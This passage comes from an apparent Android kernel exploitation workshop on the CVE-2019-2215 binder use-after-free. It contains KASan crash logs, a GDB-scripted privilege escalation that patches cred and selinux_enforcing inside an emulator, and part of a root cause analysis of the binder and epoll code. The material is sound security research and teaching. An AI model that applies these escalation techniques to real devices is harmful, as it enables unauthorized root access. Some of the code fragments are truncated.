382.433156] ep_unregister_pollwait+0x160/0x1bd\n[ 382.434252] ep_free+0x8b/0x181\n[ 382.435024] ? ep_eventpoll_poll+0x228/0x228\n[ 382.435953] ep_eventpoll_release+0x48/0x54\n[ 382.436825] __fput+0x1f2/0x51d\n[ 382.437483] ____fput+0x15/0x18\n[ 382.438145] task_work_run+0x127/0x154\n[ 382.438932] do_exit+0x818/0x2384\n[ 382.439642] ? mm_update_next_owner+0x52f/0x52f\n[ 382.440555] do_group_exit+0x12c/0x24b\n[ 382.441247] ? do_group_exit+0x24b/0x24b\n[ 382.441964] SYSC_exit_group+0x17/0x17\n[ 382.442652] SyS_exit_group+0x14/0x14\n[ 382.443264] do_syscall_64+0x19e/0x225\n[ 382.443920] entry_SYSCALL_64_after_hwframe+0x3d/0xa2\n[ 382.444784] RIP: 0033:0x4047d7\n[ 382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\n[ 382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7\n[ 382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000\n[ 382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000\n[ 382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190\n[ 382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0\n[ 382.453146] \n[ 382.453427] Allocated by task 7682:\n[ 382.454054] save_stack_trace+0x16/0x18\n[ 382.454738] __kasan_kmalloc+0x133/0x1cc\n[ 382.455445] kasan_kmalloc+0x9/0xb\n[ 382.456063] kmem_cache_alloc_trace+0x1bd/0x26f\n[ 382.456869] binder_get_thread+0x166/0x6db\n[ 382.457605] binder_poll+0x4c/0x1c2\n[ 382.458235] SyS_epoll_ctl+0x1558/0x24f0\n[ 382.458910] do_syscall_64+0x19e/0x225\n[ 382.459598] entry_SYSCALL_64_after_hwframe+0x3d/0xa2\n[ 382.460525] 0xffffffffffffffff\n[ 382.461085] \n[ 382.461334] Freed by task 7682:\n[ 382.461762] save_stack_trace+0x16/0x18\n[ 382.462222] __kasan_slab_free+0x18f/0x23f\n[ 382.462711] kasan_slab_free+0xe/0x10\n[ 382.463149] kfree+0x193/0x5b3\n[ 382.463538] binder_thread_dec_tmpref+0x192/0x1d9\n[ 382.464095] binder_thread_release+0x464/0x4bd\n[ 382.464623] binder_ioctl+0x48a/0x101c\n[ 382.465071] do_vfs_ioctl+0x608/0x106a\n[ 382.465518] SyS_ioctl+0x75/0xa4\n[ 382.465906] do_syscall_64+0x19e/0x225\n[ 382.466358] entry_SYSCALL_64_after_hwframe+0x3d/0xa2\n[ 382.466953] 0xffffffffffffffff\n[ 382.467335] \n[ 382.467783] The buggy address belongs to the object at ffff88804e486528\n[ 382.467783] which belongs to the cache kmalloc-512 of size 512\n[ 382.469983] The buggy address is located 160 bytes inside of\n[ 382.469983] 512-byte region [ffff88804e486528, ffff88804e486728)\n[ 382.472065] The buggy address belongs to the page:\n[ 382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0\n[ 382.474871] flags: 0x4000000000010200(slab|head)\n[ 382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e\n[ 382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000\n[ 382.478072] page dumped because: kasan: bad access detected\n[ 382.478784] \n[ 382.478973] Memory state around the buggy address:\n[ 382.479571] ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 382.480479] ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb\n[ 382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n[ 382.482155] ^\n[ 382.482806] ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n[ 382.483648] ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n[ 382.484485] ==================================================================\nFew things to note from the crash log:\n\nThis is a Use after Free vulnerability\nCrashed while writing 4 bytes in the dangling chunk\nThe dangling chunk belong to kmalloc-512 cache\n\nKASan Symbolizer \nThe above crash log is not very intuitive. We can symbolize the stack traces using kasan_symbolize.py.\nashfaq@hacksys:/tmp$ cat report.txt | python kasan_symbolize.py --linux=~/workshop/android-4.14-dev/out/kasan/ --strip=/home/ashfaq/workshop/android-4.14-dev/goldfish/\n\n==================================================================\nBUG: KASAN: use-after-free in[] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57\nBUG: KASAN: use-after-free in[] queued_spin_lock include/asm-generic/qspinlock.h:87\nBUG: KASAN: use-after-free in[] do_raw_spin_lock_flags include/linux/spinlock.h:173\nBUG: KASAN: use-after-free in[] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119\nBUG: KASAN: use-after-free in[] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160\nWrite of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682\n\nCPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014\nCall Trace:\n[] __dump_stack lib/dump_stack.c:17\n[] dump_stack+0x78/0xbe lib/dump_stack.c:53\n[] print_address_description+0x81/0x25d mm/kasan/report.c:187\n ?[] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57\n ?[] queued_spin_lock include/asm-generic/qspinlock.h:87\n ?[] do_raw_spin_lock_flags include/linux/spinlock.h:173\n ?[] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119\n ?[] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160\n[] __kasan_report+0x14f/0x180 mm/kasan/report.c:316\n ?[] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57\n ?[] queued_spin_lock include/asm-generic/qspinlock.h:87\n ?[] do_raw_spin_lock_flags include/linux/spinlock.h:173\n ?[] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119\n ?[] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160\n[] kasan_report+0x26/0x49 mm/kasan/common.c:626\n[] check_memory_region_inline mm/kasan/generic.c:182\n[] check_memory_region+0x171/0x17e mm/kasan/generic.c:191\n[] kasan_check_write+0x14/0x16 mm/kasan/common.c:106\n[] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57\n[] queued_spin_lock include/asm-generic/qspinlock.h:87\n[] do_raw_spin_lock_flags include/linux/spinlock.h:173\n[] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119\n[] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160\n[] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50\n ?[] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99\n[] ep_remove_wait_queue fs/eventpoll.c:612\n[] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630\n[] ep_free+0x8b/0x181 fs/eventpoll.c:847\n ?[] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942\n[] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879\n[] __fput+0x1f2/0x51d fs/file_table.c:210\n[] ____fput+0x15/0x18 fs/file_table.c:244\n[] task_work_run+0x127/0x154 kernel/task_work.c:113\n[] exit_task_work include/linux/task_work.h:22\n[] do_exit+0x818/0x2384 kernel/exit.c:875\n ?[] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468\n[] do_group_exit+0x12c/0x24b kernel/exit.c:978\n ?[] spin_unlock_irq include/linux/spinlock.h:367\n ?[] do_group_exit+0x24b/0x24b kernel/exit.c:975\n[] SYSC_exit_group+0x17/0x17 kernel/exit.c:989\n[] SyS_exit_group+0x14/0x14 kernel/exit.c:987\n[] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292\n[] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233\nRIP: 0033:0x4047d7\nRSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7\nRDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000\nRBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000\nR10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190\nR13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0\n\nAllocated by task 7682:\n[] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59\n[] save_stack mm/kasan/common.c:76\n[] set_track mm/kasan/common.c:85\n[] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501\n[] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515\n[] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819\n[] kmalloc include/linux/slab.h:488\n[] kzalloc include/linux/slab.h:661\n[] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677\n[] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805\n[] ep_item_poll fs/eventpoll.c:888\n[] ep_insert fs/eventpoll.c:1476\n[] SYSC_epoll_ctl fs/eventpoll.c:2128\n[] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014\n[] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292\n[] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233\n 0xffffffffffffffff\n\nFreed by task 7682:\n[] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59\n[] save_stack mm/kasan/common.c:76\n[] set_track mm/kasan/common.c:85\n[] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463\n[] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471\n[] slab_free_hook mm/slub.c:1407\n[] slab_free_freelist_hook mm/slub.c:1458\n[] slab_free mm/slub.c:3039\n[] kfree+0x193/0x5b3 mm/slub.c:3976\n[] binder_free_thread drivers/android/binder.c:4705\n[] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053\n[] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794\n[] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062\n[] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46\n[] SYSC_ioctl fs/ioctl.c:701\n[] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692\n[] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292\n[] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233\n 0xffffffffffffffff\n\nThe buggy address belongs to the object at ffff88804e486528\n which belongs to the cache kmalloc-512 of size 512\nThe buggy address is located 160 bytes inside of\n 512-byte region [ffff88804e486528, ffff88804e486728)\nThe buggy address belongs to the page:\npage:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0\nflags: 0x4000000000010200(slab|head)\nraw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e\nraw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb\n>ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ^\n ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================\nIsn't this more useful than the previous crash log.\n"},"chapters/scripted-privilege-escalation.html":{"url":"chapters/scripted-privilege-escalation.html","title":"Scripted Privilege Escalation","keywords":"","body":"Scripted Privilege Escalation\nBefore moving to Root Cause Analysis chapter, let's first see how we can achieve privilege escalation using custom GDB script.\nIn Build Kernel and Boot Kernel, you learned how to build and boot a custom kernel in emulator.\nGDB supports python scripting, let's see how we can use python for debugging automation.\nKernel Debugging \nemulator uses qemu in the background and it supports gdbserver known as gdbstub. We can use it to do kernel debugging, if we have the vmlinux file for the corresponding kernel.\nLet's boot the custom kernel that we built, but this time, with gdbstub enabled. For this we will need two terminal windows.\nIn the first window, we will run the emulator with gdbstub enabled.\nashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -qemu -s -S\n\n\nNote: -qemu arguments states that the next parameters will be passed to underlying qemu emulator. -s argument is for qemu which is a shorthand for -gdb tcp::1234. -S argument makes qemu to wait for the debugger to connect.\n\nIn the second window, we will use GDB to attach to the qemu instance.\nashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/kasan/dist/vmlinux -ex 'target remote :1234'\n\nGEF for linux ready, type `gef' to start, `gef config' to configure\n77 commands loaded for GDB 8.2 using Python engine 2.7\n[*] 3 commands could not be loaded, run `gef missing` to know why.\nReading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.\nRemote debugging using :1234\nwarning: while parsing target description (at line 1): Could not load XML document \"i386-64bit.xml\"\nwarning: Could not load XML target description; ignoring\n0x000000000000fff0 in exception_stacks ()\ngef> c\nContinuing.\nOnce the Android is booted completely, we can open the third terminal window and launch adb shell.\nashfaq@hacksys:~/workshop$ adb shell\ngeneric_x86_64:/ $ uname -a\nLinux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64\ngeneric_x86_64:/ $ id\nuid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0\ngeneric_x86_64:/ $ \ngeneric_x86_64:/ $ dmesg\ndmesg: klogctl: Permission denied\n1|generic_x86_64:/ $ \n1|generic_x86_64:/ $ pidof sh \n7474\ngeneric_x86_64:/ $\n\nIn the adb shell window, we can see that currently we are running with uid=2000(shell) gid=2000(shell) and does not have rights to see dmesg. To read dmesg, we will need root privileges.\npidof sh is 7474, our goal is to use kernel debugging with GDB automation to do privilege escalation and give the root privileges to this sh process.\nNow, in the GDB window press CTRL+C to break in GDB so that we can issue some commands.\nYou can find root-me.py which is an automation built on top of GDB python scripting in ~/workshop/gdb.\n# -*- coding: utf-8 -*-\n\nimport gdb\nimport struct\n\n[...]\n\ndef write32(address, value):\n gdb.selected_inferior().write_memory(address, struct.pack(\"\nLet's load this file in GDB and give root privilege to sh process with pid 7474.\ngef> c\nContinuing.\n^C\nThread 1 received signal SIGINT, Interrupt.\nnative_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61\n61 }\ngef> source ~/workshop/gdb/root-me.py \ngef> root-by-pid 7474\n[+] Rooting\n [*] PID: 0x1d32\n [*] Cmd: sh\n [*] Task: 0xffff888033521d40\n[+] Patching cred\n [*] Cred: 0xffff8880580f1480\n[+] Patching selinux_enforcing\n [*] selinux_enforcing: 0xffffffff82b34028 \n[*] Rooting complete\ngef> c\nContinuing.\nLet's verify if sh process is having root privileges.\ngeneric_x86_64:/ $ dmesg\ndmesg: klogctl: Permission denied\n1|generic_x86_64:/ $ \n1|generic_x86_64:/ $ id\nuid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0\ngeneric_x86_64:/ $\ngeneric_x86_64:/ $ dmesg | head \n[ 34.036876] apexd: Scanning /product/apex for embedded keys\n[ 34.037889] apexd: ... does not exist. Skipping\n[ 34.038743] apexd: Populating APEX database from mounts...\n[ 34.040108] apexd: Failed to walk /product/apex : Can't open /product/apex for reading : No such file or directory\n[ 34.042497] apexd: Found \"/apex/com.android.tzdata@290000000\"\n[ 34.043586] apexd: Found \"/apex/com.android.runtime@1\"\n[ 34.044542] apexd: 2 packages restored.\n[ 34.054885] type=1400 audit(1586624810.629:5): avc: denied { getattr } for comm=\"ls\" path=\"/data/misc\" dev=\"vdc\" ino=13 scontext=u:r:toolbox:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0\n[ 34.057660] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm=\"init\" path=\"/data/vendor\" dev=\"vdc\" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0\n[ 34.073716] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm=\"init\" path=\"/data/vendor\" dev=\"vdc\" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0\n\nAwesome, privilege escalation is successful and we are going to achieve the same thing using a kernel vulnerability.\n"},"chapters/root-cause-analysis.html":{"url":"chapters/root-cause-analysis.html","title":"Root Cause Analysis","keywords":"","body":"Root Cause Analysis\nRoot Cause Analysis (RCA) is a very important part of vulnerability research. With RCA we can determine if a crash or bug can be exploited.\nRCA is basically reverse engineering process to understanding the code that lead to the crash.\nRevisiting Crash \nFrom the crash log, we already know that it's Use after Free vulnerability. Let's revisit the crash report and try to understand why it occurred.\nLet's strip away unwanted information and break the crash log in three parts, allocation, free and use\nAllocation \n[] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59\n[] save_stack mm/kasan/common.c:76\n[] set_track mm/kasan/common.c:85\n[] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501\n[] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515\n[] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819\n[] kmalloc include/linux/slab.h:488\n[] kzalloc include/linux/slab.h:661\n[] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677\n[] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805\n[] ep_item_poll fs/eventpoll.c:888\n[] ep_insert fs/eventpoll.c:1476\n[] SYSC_epoll_ctl fs/eventpoll.c:2128\n[] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014\n[] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292\n[] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233\nHere is the simplified call graph.\n\n \n\n\nRelevant source line from the PoC\nepoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);\n\nFree \n[] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59\n[] save_stack mm/kasan/common.c:76\n[] set_track mm/kasan/common.c:85\n[] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463\n[] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471\n[] slab_free_hook mm/slub.c:1407\n[] slab_free_freelist_hook mm/slub.c:1458\n[] slab_free mm/slub.c:3039\n[] kfree+0x193/0x5b3 mm/slub.c:3976\n[] binder_free_thread drivers/android/binder.c:4705\n[] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053\n[] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794\n[] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062\n[] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46\n[] SYSC_ioctl fs/ioctl.c:701\n[] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692\n[] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292\n[] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233\nHere is the simplified call graph.\n\n \n\n\nRelevant source line from the PoC\nioctl(fd, BINDER_THREAD_EXIT, NULL);\n\nLet's look at the the binder_free_thread implementation in workshop/android-4.14-dev/goldfish/drivers/android/binder.c.\nstatic void binder_free_thread(struct binder_thread *thread)\n{\n [...]\n kfree(thread);\n}\n\nWe see that binder_thread structure is being freed by calling kfree which exactly matches the free call trace. This confirms that the dangling chunk is binder_thread structure.\nLet's see how struct binder_thread is defined.\nstruct binder_thread {\n struct binder_proc *proc;\n struct rb_node rb_node;\n struct list_head waiting_thread_node;\n int pid;\n int looper; /* only modified by this thread */\n bool looper_need_return; /* can be written by other thread */\n struct binder_transaction *transaction_stack;\n struct list_head todo;\n bool process_todo;\n struct binder_error return_error;\n struct binder_error reply_error;\n wait_queue_head_t wait;\n struct binder_stats stats;\n atomic_t tmp_ref;\n bool is_dead;\n struct task_struct *task;\n};\n\nUse \n[] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160\n[] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50\n ?[] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99\n[] ep_remove_wait_queue fs/eventpoll.c:612\n[] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630\n[] ep_free+0x8b/0x181 fs/eventpoll.c:847\n ?[] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942\n[] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879\n[] __fput+0x1f2/0x51d fs/file_table.c:210\n[] ____fput+0x15/0x18 fs/file_table.c:244\n[] task_work_run+0x127/0x154 kernel/task_work.c:113\n[] exit_task_work include/linux/task_work.h:22\n[] do_exit+0x818/0x2384 kernel/exit.c:875\n ?[] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468\n[] do_group_exit+0x12c/0x24b kernel/exit.c:978\n ?[] spin_unlock_irq include/linux/spinlock.h:367\n ?[] do_group_exit+0x24b/0x24b kernel/exit.c:975\n[] SYSC_exit_group+0x17/0x17 kernel/exit.c:989\n[] SyS_exit_group+0x14/0x14 kernel/exit.c:987\n[] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292\n[] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233\nHere is the simplified call graph.\n\n \n\n\nWe don't see any line in the PoC which calls SyS_exit_group. It turns out that the use happens when the process exits, and eventually exit_group system call is called. This is when it tries to cleanup the resources and uses the dangling chunk erroneously.\nVisual Studio Code \nWe will use Visual Studio Code for Android kernel source code navigation. I used this project https://github.com/amezin/vscode-linux-kernel for better intellisense support. \nStatic Analysis \nWe already know that binder_thread is the dangling chunk. Let's statically trace the function calls in the crashing PoC and see what's happening.\nWe want to answer the following questions:\n\nWhy binder_thread structure was allocated?\nWhy binder_thread structure was freed?\nWhy the use of binder_thread structure happened when it's already freed?\n\nopen \nfd = open(\"/dev/binder\", O_RDONLY);\n\nLet's open workshop/android-4.14-dev/goldfish/drivers/android/binder.c and see how open system call is implemented.\nstatic const struct file_operations binder_fops = {\n [...]\n .open = binder_open,\n [...]\n};\n\nWe see that open system call is handled by binder_open function.\nLet's follow binder_open function and find out what it does.\nstatic int binder_open(struct inode *nodp, struct file *filp)\n{\n struct binder_proc *proc;\n [...]\n proc = kzalloc(sizeof(*proc), GFP_KERNEL);\n if (proc == NULL)\n return -ENOMEM;\n [...]\n filp->private_data = proc;\n [...]\n return 0;\n}\n\nbinder_open allocates binder_proc data structure and assigns it to the filp->private_data.\nepoll_create \nepfd = epoll_create(1000);\n\nLet's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and see how epoll_create system call is implemented. We will also follow the call graph and look into all the important functions that epoll_create will call.\nSYSCALL_DEFINE1(epoll_create, int, size)\n{\n if (size \nepoll_create checks if size and then calls sys_epoll_create1. We can see that 1000 passed as parameter does not have any specific implications. The size parameter should be greater than 0.\nLet's follow the sys_epoll_create1 function.\nSYSCALL_DEFINE1(epoll_create1, int, flags)\n{\n int error, fd;\n struct eventpoll *ep = NULL;\n struct file *file;\n [...]\n error = ep_alloc(&ep);\n if (error file = file;\n fd_install(fd, file);\n return fd;\n [...]\n return error;\n}\n\nepoll_create1 calls ep_alloc, sets ep->file = file and finally returns the epoll file descriptor fd.\nLet's follow ep_alloc function and find out what it does.\nstatic int ep_alloc(struct eventpoll **pep)\n{\n int error;\n struct user_struct *user;\n struct eventpoll *ep;\n [...]\n ep = kzalloc(sizeof(*ep), GFP_KERNEL);\n [...]\n init_waitqueue_head(&ep->wq);\n init_waitqueue_head(&ep->poll_wait);\n INIT_LIST_HEAD(&ep->rdllist);\n ep->rbr = RB_ROOT_CACHED;\n [...]\n *pep = ep;\n return 0;\n [...]\n return error;\n}\n\n\nallocates struct eventpoll, initializes wait queues wq and poll_wait members\ninitializes rbr member which is the red black tree root\n\nstruct eventpoll is the main data structure used by event polling subsystem. Let's see how eventpoll structure is defined in workshop/android-4.14-dev/goldfish/fs/eventpoll.c.\nstruct eventpoll {\n /* Protect the access to this structure */\n spinlock_t lock;\n\n /*\n * This mutex is used to ensure that files are not removed\n * while epoll is using them. This is held during the event\n * collection loop, the file cleanup path, the epoll file exit\n * code and the ctl operations.\n */\n struct mutex mtx;\n\n /* Wait queue used by sys_epoll_wait() */\n wait_queue_head_t wq;\n\n /* Wait queue used by file->poll() */\n wait_queue_head_t poll_wait;\n\n /* List of ready file descriptors */\n struct list_head rdllist;\n\n /* RB tree root used to store monitored fd structs */\n struct rb_root_cached rbr;\n\n /*\n * This is a single linked list that chains all the \"struct epitem\" that\n * happened while transferring ready events to userspace w/out\n * holding ->lock.\n */\n struct epitem *ovflist;\n\n /* wakeup_source used when ep_scan_ready_list is running */\n struct wakeup_source *ws;\n\n /* The user that created the eventpoll descriptor */\n struct user_struct *user;\n\n struct file *file;\n\n /* used to optimize loop detection check */\n int visited;\n struct list_head visited_list_link;\n\n#ifdef CONFIG_NET_RX_BUSY_POLL\n /* used to track busy poll napi_id */\n unsigned int napi_id;\n#endif\n};\n\nepoll_ctl \nepoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);\n\nLet's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and see how epoll_ctl is implemented. We are passing EPOLL_CTL_ADD as the operation parameter.\nSYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,\n struct epoll_event __user *, event)\n{\n int error;\n int full_check = 0;\n struct fd f, tf;\n struct eventpoll *ep;\n struct epitem *epi;\n struct epoll_event epds;\n struct eventpoll *tep = NULL;\n\n error = -EFAULT;\n if (ep_op_has_event(op) &&\n copy_from_user(&epds, event, sizeof(struct epoll_event)))\n goto error_return;\n\n error = -EBADF;\n f = fdget(epfd);\n if (!f.file)\n goto error_return;\n\n /* Get the \"struct file *\" for the target file */\n tf = fdget(fd);\n if (!tf.file)\n goto error_fput;\n [...]\n ep = f.file->private_data;\n [...]\n epi = ep_find(ep, tf.file, fd);\n\n error = -EINVAL;\n switch (op) {\n case EPOLL_CTL_ADD:\n if (!epi) {\n epds.events |= POLLERR | POLLHUP;\n error = ep_insert(ep, &epds, tf.file, fd, full_check);\n } else\n error = -EEXIST;\n [...]\n [...]\n }\n [...]\n return error;\n}\n\n\ncopies epoll_event structure from user space to kernel space\nfinds the corresponding file pointers of epfd and fd file descriptors\ngets the pointer to eventpoll structure from the private_data member of the file pointer of the epoll file descriptor epfd\ncalls ep_find to find the pointer to linked epitem structure from the red black tree node stored in eventpoll structure matching the file descriptor fd\nif epitem is not found for the corresponding fd, then it calls ep_insert function to allocate and link a epitem to eventpoll structure's rbr member\n\nLet's see how struct epitem is defined.\nstruct epitem {\n union {\n /* RB tree node links this structure to the eventpoll RB tree */\n struct rb_node rbn;\n /* Used to free the struct epitem */\n struct rcu_head rcu;\n };\n\n /* List header used to link this structure to the eventpoll ready list */\n struct list_head rdllink;\n\n /*\n * Works together \"struct eventpoll\"->ovflist in keeping the\n * single linked chain of items.\n */\n struct epitem *next;\n\n /* The file descriptor information this item refers to */\n struct epoll_filefd ffd;\n\n /* Number of active wait queue attached to poll operations */\n int nwait;\n\n /* List containing poll wait queues */\n struct list_head pwqlist;\n\n /* The \"container\" of this item */\n struct eventpoll *ep;\n\n /* List header used to link this item to the \"struct file\" items list */\n struct list_head fllink;\n\n /* wakeup_source used when EPOLLWAKEUP is set */\n struct wakeup_source __rcu *ws;\n\n /* The structure that describe the interested events and the source fd */\n struct epoll_event event;\n};\n\nBelow given diagram shows how an epitem structure is linked to eventpoll structure.\n\n \n\n\n\nLet's follow ep_insert function and see what it exactly does.\nstatic int ep_insert(struct eventpoll *ep, struct epoll_event *event,\n struct file *tfile, int fd, int full_check)\n{\n int error, revents, pwake = 0;\n unsigned long flags;\n long user_watches;\n struct epitem *epi;\n struct ep_pqueue epq;\n [...]\n if (!(epi = kmem_cache_alloc(epi_cache, GFP_KERNEL)))\n return -ENOMEM;\n\n /* Item initialization follow here ... */\n INIT_LIST_HEAD(&epi->rdllink);\n INIT_LIST_HEAD(&epi->fllink);\n INIT_LIST_HEAD(&epi->pwqlist);\n epi->ep = ep;\n ep_set_ffd(&epi->ffd, tfile, fd);\n epi->event = *event;\n [...]\n\n /* Initialize the poll table using the queue callback */\n epq.epi = epi;\n init_poll_funcptr(&epq.pt, ep_ptable_queue_proc);\n [...]\n revents = ep_item_poll(epi, &epq.pt);\n [...]\n ep_rbtree_insert(ep, epi);\n [...]\n return 0;\n [...]\n return error;\n}\n\n\nallocates a temporary structure ep_pqueue\nallocates epitem structure and initializes it\ninitializes epi->pwqlist member which is used to link the poll wait queues\nsets the epitem structure member ffd->file = file and ffd->fd = fd which is the binder's file structure pointer and descriptor in our case by calling 